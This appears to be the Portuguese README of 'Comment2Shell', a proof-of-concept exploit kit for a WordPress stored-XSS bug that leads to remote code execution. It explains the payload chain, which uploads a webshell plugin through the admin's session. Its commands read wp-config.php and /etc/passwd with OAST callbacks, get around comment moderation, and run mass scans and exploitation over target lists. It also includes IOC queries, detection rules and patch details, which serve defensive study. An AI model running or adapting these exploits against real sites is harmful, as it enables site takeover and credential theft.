Cadeia de exploração zero-click pré-autenticação do WordPress CVE-2026-93485: XSS armazenado em wpautop() escalona para upload de plugin na sessão de administrador e um webshell autoexcluível, com scanner, shell e template Nuclei.
Comment2Shell é uma prova de conceito completa para CVE-2026-93485, um
XSS armazenado pré-autenticação no núcleo do WordPress wpautop() que
escala para execução remota de código dentro de uma sessão de administrador. Um
comentário anônimo planta o payload; quando um admin abre o post, o
navegador faz upload de um plugin webshell, executa um comando e exclui o shell
novamente. Toda a cadeia é um único arquivo Python sem dependências.
Comment2Shell é um kit de exploit e laboratório local para CVE-2026-93485. O bug
está em wp-includes/formatting.php, no filtro de parágrafo wpautop()
que é executado no momento da exibição no texto do comentário. Uma nova linha dentro de um
atributo blockquote cite se torna um placeholder de comentário HTML; a
regex que envolve blockquotes para no primeiro e injeta uma
tag de parágrafo no meio do atributo, que o navegador então
interpreta como um handler . O atributo o dispara
com zero cliques.
>onfocusautofocusA ferramenta cobre toda a cadeia: uma varredura passiva de versão, uma sonda XSS benigna, o exploit completo de pré-autenticação até RCE, um shell interativo e uma verificação defensiva de IOC.
O exploit não precisa de conta, nonce ou interação além do admin visualizar o post. Os comentários só precisam estar abertos.
O WordPress roda uma grande parte da web e wpautop() é código do núcleo, então
o filtro vulnerável é distribuído em toda instalação afetada, independentemente do tema
ou plugin. O XSS é armazenado, pré-autenticação e zero-click. Como
ele é executado na sessão do admin, é mais do que um bug de desfiguração: o
cookie do admin é suficiente para instalar um plugin, e instalar um plugin é
execução arbitrária de código.
A correção foi lançada no WordPress 7.1.1 com backports em 25 branches, até a 4.7.36. Todas as versões da 4.7.0 até a 7.1.0 são afetadas.
Execução em laboratório controlado contra o WordPress 7.1.0: um comentário anônimo planta
o payload, o admin abrindo o post dispara a cadeia zero-click, o
webshell é enviado, a saída do comando retorna e o shell se exclui
sozinho. O título da aba do navegador reporta o resultado, seja
Comment2Shell: shell uploaded ou Comment2Shell: admin login required.
Veja docker/README.md para o procedimento exato.
Comment2Shell não reivindica a descoberta da falha. Ela foi reportada por Rafie Muhammad (Awesome Motive) através do programa HackerOne do WordPress e corrigida na 7.1.1. A contribuição aqui é uma implementação reproduzível e sem dependências de toda a cadeia:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
Sem dependências. Apenas biblioteca padrão do Python 3.8+, sem pip install.
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -d targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example
O payload do exploit dispara
alert("Comment2Shell XSS - CVE-2026-93485")no carregamento da página (zero-click viaautofocus). Visualize o post enquanto logado como admin. O título da aba então exibeComment2Shell: shell uploadedem caso de sucesso, ouComment2Shell: admin login requiredse o navegador não tiver sessão de admin.
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"
# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"
# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60
# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup
# With an OAST callback
python3 comment2shell.py -t https://target.com \
-c "cat /etc/passwd" \
--callback https://your-id.oast.example
# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
-c "whoami" --known-commenter
# Through a proxy
python3 comment2shell.py -t https://target.com \
-c "id" --proxy http://127.0.0.1:8080
A ferramenta envia o comentário XSS, consulta o caminho do webshell gerado a cada
3s (até --wait segundos), executa o comando assim que o navegador do admin
dispara o upload, e então se auto-exclui o shell (?d=1 desvincula o arquivo
PHP e remove o diretório do plugin) para que nenhuma persistência seja deixada para trás.
Passe --no-cleanup para mantê-lo, ou --wait 0 para enviar apenas o payload.
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
--shell-path ab12cd/ab12cd.php
# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
--shell-path ab12cd/ab12cd.php -c "cat wp-config.php"
python3 comment2shell.py --ioc -t https://target.com
Novos comentários de comentaristas de primeira viagem geralmente são mantidos para moderação. A ferramenta tem três rotas para contornar isso:
| Rota | Método | Flag |
|---|---|---|
| Comentarista conhecido | Reutiliza o padrão "A WordPress Commenter" <[email protected]>, que check_comment() auto-aprova | --known-commenter |
| Moderação desligada | Se comment_previously_approved=0, qualquer identidade é auto-aprovada | padrão |
| Pré-visualização do autor | Um comentarista anterior vê comentários pendentes através do cookie ?unapproved=<id>&moderation-hash=<hash> | automático |
Segundo a Patchstack: "moderação não é um controle de segurança."
Suba um WordPress 7.1.0 vulnerável para testes locais:
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80 (host networking)
# Admin: admin / Password123!
# Then: python3 comment2shell.py -t http://localhost -c "id"
Cada execução envia um novo comentário de payload. Apenas o primeiro payload autofocus
na página é executado, então a ferramenta detecta o payload ativo e consulta seu caminho;
execute bash clean.sh para limpar comentários antigos entre execuções.
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null
# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
onfocus%' ORDER BY comment_date DESC;"
# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
-newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
-not -path "*/hello*"
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"
# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|
# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
httpx -silent -title | \
grep -i "wordpress" | \
python3 comment2shell.py --scan --stdin --threads 20
# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
python3 comment2shell.py -t - -c "id" \
--callback https://your-id.oast.example
# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
--threads 30 -o scan_results.json --json
wp-includes/formatting.php:563 (vulnerável, antes da 7.1.1):
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );
// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );
O payload é HTML benigno no momento da gravação. blockquote[cite] e code estão
na allowlist de comentários (wp-includes/kses.php:605-633). A nova linha não está no
mapa de caracteres de sintaxe de wp_kses_hair(). O exploit acontece no momento da exibição,
quando os filtros comment_text transformam o HTML armazenado.
add_filter( 'comment_text', 'wptexturize' ); // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 ); // THE BUG
A correção foi lançada na 7.1.1 em 25 branches. Todas as versões da 4.7.0 até a 7.1.0 são afetadas.
| Branch | Vulnerável <= | Corrigida |
|---|---|---|
| 7.1 | 7.1.0 | 7.1.1 |
| 7.0 | 7.0.4 | 7.0.5 |
| 6.9 | 6.9.7 | 6.9.8 |
| 6.8 | 6.8.8 | 6.8.9 |
| 6.7 | 6.7.7 | 6.7.8 |
| 6.6 | 6.6.7 | 6.6.8 |
| 6.5 | 6.5.10 | 6.5.11 |
| 6.4 | 6.4.10 | 6.4.11 |
| 6.3 | 6.3.10 | 6.3.11 |
| 6.2 | 6.2.11 | 6.2.12 |
| 6.1 | 6.1.12 | 6.1.13 |
| 6.0 | 6.0.14 | 6.0.15 |
| 5.9 | 5.9.16 | 5.9.17 |
| 5.8 | 5.8.15 | 5.8.16 |
| 5.7 | 5.7.17 | 5.7.18 |
| 5.6 | 5.6.19 | 5.6.20 |
| 5.5 | 5.5.20 | 5.5.21 |
| 5.4 | 5.4.21 | 5.4.22 |
| 5.3 | 5.3.23 | 5.3.24 |
| 5.2 | 5.2.26 | 5.2.27 |
| 5.1 | 5.1.24 | 5.1.25 |
| 5.0 | 5.0.27 | 5.0.28 |
| 4.9 | 4.9.31 | 4.9.32 |
| 4.8 | 4.8.30 | 4.8.31 |
| 4.7 | 4.7.35 | 4.7.36 |
Comment2Shell/
|-- comment2shell.py scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/ vulnerable WordPress 7.1.0 lab
| |-- docker-compose.yml
| |-- setup.sh
| |-- clean.sh
| +-- README.md
|-- nuclei/ detection template
|-- ioc/ server-side IOC checker
|-- requests/ raw HTTP exploit templates
|-- assets/ banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE
wptexturize selando o
atributo); temas clássicos podem não disparar.docker/clean.sh.
Este projeto existe para testes de segurança autorizados e educação. Use-o apenas contra sistemas que você possui ou tem permissão escrita explícita para testar. Acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições. Os autores não são responsáveis por uso indevido ou danos. Veja LICENSE.
0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383